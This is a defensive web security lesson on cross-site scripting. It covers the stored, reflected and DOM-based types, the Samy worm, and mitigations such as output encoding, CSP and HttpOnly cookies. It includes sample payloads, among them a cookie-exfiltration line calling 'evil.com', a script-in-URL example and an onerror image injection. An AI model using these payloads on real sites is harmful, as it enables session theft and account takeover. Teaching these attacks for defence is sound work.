XSS Attacks
XSS is injection, but the interpreter is the browser and the victim is another user. The root cause is identical to SQL injection: untrusted data crosses into a code context. Instead of a SQL parser executing attacker input, a browser's JavaScript engine does. The attacker doesn't break into your server — they hijack your users' browsers through your application.
Cross-Site Scripting (XSS) — Attack Vectors & Mitigations
Stored XSS
Attacker
Posts comment
Web App
Comment field
Database
<script>steal()</script>
Victim 1
Victim 2
Victim 3
Cookie exfiltrated to attacker
fetch("evil.com?c="+document.cookie)
Mitigations — Same payload, different defenses
<script>steal()</script>
Output Encoding
<script> rendered as text
SAFE — payload neutralized
Content Security Policy
Refused to execute inline script
SAFE — execution blocked
HttpOnly Cookies
document.cookie → "" (empty)
PARTIAL — XSS still runs, damage limited
Reflected XSS
Payload in URL, single victim, requires a click
Attacker
Sends crafted URL
Single Victim
Not stored — payload exists only in the URL, reflected back in the response
Three Types of XSS
Stored XSS
The attacker's payload is persisted in your database and served to every user who views that page. A comment field, a forum post, a profile bio — anywhere user-generated content is stored and later rendered without encoding.
This is the most dangerous type. It doesn't require tricking anyone into clicking a link. Every visitor to the affected page gets hit automatically. One malicious comment on a popular post can compromise thousands of sessions.
Reflected XSS
The payload lives in the URL or request parameters and is reflected back in the response. The attacker crafts a link like https://example.com/search?q=<script>steal(document.cookie)</script> and tricks a victim into clicking it via email, chat, or a shortened URL.
The payload never touches the database. It exists only in the crafted request and the corresponding response. This makes it less impactful than stored XSS — each victim has to click the link — but it's still dangerous because users trust the domain they see in the URL.
DOM-based XSS
This type never touches the server at all. Client-side JavaScript reads untrusted data (from location.hash, document.URL, postMessage, etc.) and writes it into a dangerous sink like innerHTML, eval(), document.write(), or setTimeout() with a string argument.
// DOM-based XSS: fragment never reaches the server
const name = location.hash.substring(1);
document.getElementById("greeting").innerHTML = "Hello, " + name;
// Visit: page.html#<img src=x onerror=alert(1)>
Server-side defenses like WAFs can't see DOM-based XSS because the payload travels entirely within the browser. You need client-side code review and runtime protections.
What an Attacker Gets
When XSS fires, the attacker has full JavaScript execution in the victim's origin. Same-origin policy means their script can do anything the user can do on that site:
Session hijacking. Steal cookies with document.cookie (if they're not HttpOnly) and replay them from the attacker's machine. Instant account takeover without needing a password.
Keylogging. Attach event listeners to input fields. Every keystroke — passwords, credit card numbers, private messages — gets exfiltrated to the attacker's server.
DOM manipulation. Rewrite the page to show a fake login form that posts credentials to the attacker. The user sees the legitimate domain in the URL bar and trusts it completely.
Authenticated requests. Make fetch/XHR calls as the user — transfer money, change email addresses, grant admin privileges. The server sees a valid session cookie and processes the request normally.
Worm propagation. The payload can replicate itself. If it injects the same malicious content into the victim's profile or posts, every user who views it gets infected too.
The Samy Worm: XSS at Scale
In 2005, Samy Kamkar exploited a stored XSS vulnerability on MySpace. His payload added "Samy is my hero" to each victim's profile and made them send a friend request to Samy. Crucially, the worm replicated itself into each victim's profile, so their friends got infected too.
Within 20 hours, Samy had over one million friend requests. It was the fastest-spreading worm in history at the time. MySpace had to take the entire site offline to clean up. All from a single XSS vulnerability in a profile page.
Fixes That Work
Context-Aware Output Encoding
The primary defense. Every place you render user data, encode it for the context: HTML entity encoding for HTML body, JavaScript encoding for script contexts, URL encoding for URL parameters, CSS encoding for style contexts.
The critical word is "context-aware." HTML-encoding a value that's injected into a JavaScript string literal doesn't protect you. You need the right encoding for the right context.
textContent Over innerHTML
When you need to insert text into the DOM, use textContent (or innerText), never innerHTML. textContent treats the input as a string literal — no HTML parsing, no script execution.
// Vulnerable
element.innerHTML = userInput;
// Safe
element.textContent = userInput;
Content-Security-Policy (CSP)
CSP tells the browser which sources of scripts, styles, and other resources are legitimate. A strong CSP blocks inline scripts entirely:
Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'; object-src 'none'
With nonce-based CSP, every legitimate <script> tag must carry a matching nonce attribute. Injected scripts won't have it and the browser refuses to execute them. Hash-based CSP is similar — only scripts whose content matches a precomputed hash are allowed.
The key rule: no 'unsafe-inline'. The moment you allow inline scripts, CSP stops protecting against XSS.
HttpOnly Cookies
Setting the HttpOnly flag on session cookies prevents JavaScript from reading them via document.cookie. This limits the damage from XSS — the attacker can't steal the session cookie directly.
But HttpOnly doesn't prevent XSS. The attacker can still keylog, manipulate the DOM, and make authenticated requests using the cookie the browser automatically attaches. It's a damage-reduction measure, not a fix.
Trusted Types
A newer browser API that enforces type safety on dangerous DOM sinks. With Trusted Types enabled, assigning a raw string to innerHTML throws an error. You must create the value through a policy function that performs sanitization.
// With Trusted Types, this throws:
element.innerHTML = userInput;
// You must use a policy:
const sanitized = trustedPolicy.createHTML(userInput);
element.innerHTML = sanitized;
This catches DOM-based XSS at the point of injection rather than at the point of input.
Why Frameworks Help (and Where They Don't)
Modern frameworks like React and Vue auto-escape output by default. In React, JSX expressions are escaped before rendering — {userInput} in JSX is safe because React calls textContent under the hood.
But every framework has escape hatches for rendering raw HTML:
- React:
dangerouslySetInnerHTML— the name is a warning - Vue:
v-htmldirective - Angular:
bypassSecurityTrustHtml()
These exist for legitimate use cases (rendering sanitized Markdown, for example), but they bypass the framework's auto-escaping and reintroduce XSS if the input isn't properly sanitized.
There's another subtle vector: href attributes with user-controlled values. Setting href={userInput} in React allows javascript:alert(1) URIs. React doesn't block javascript: protocol URLs in href attributes, and neither do most frameworks. You need explicit validation that URLs start with https:// or /.
Key Takeaways
- XSS is code injection where the browser is the interpreter — the attacker runs JavaScript in another user's session with full access to that origin.
- Stored XSS is the most dangerous because it hits every visitor automatically; reflected XSS requires a crafted link; DOM-based XSS never touches the server.
- Context-aware output encoding is the primary defense — HTML-encode for HTML, JS-encode for JS, URL-encode for URLs.
- Content-Security-Policy with nonces or hashes and no
unsafe-inlineis the strongest second layer, blocking injected scripts even if encoding is missed. - Frameworks auto-escape by default, but escape hatches like
dangerouslySetInnerHTML,v-html, andjavascript:URLs bypass those protections. - HttpOnly cookies limit the damage from XSS but don't prevent the attack itself.
Next up: CSRF Attacks — where the browser's helpfulness becomes the vulnerability, automatically attaching cookies to cross-origin requests.
Enjoyed this breakdown?
Get new lessons in your inbox.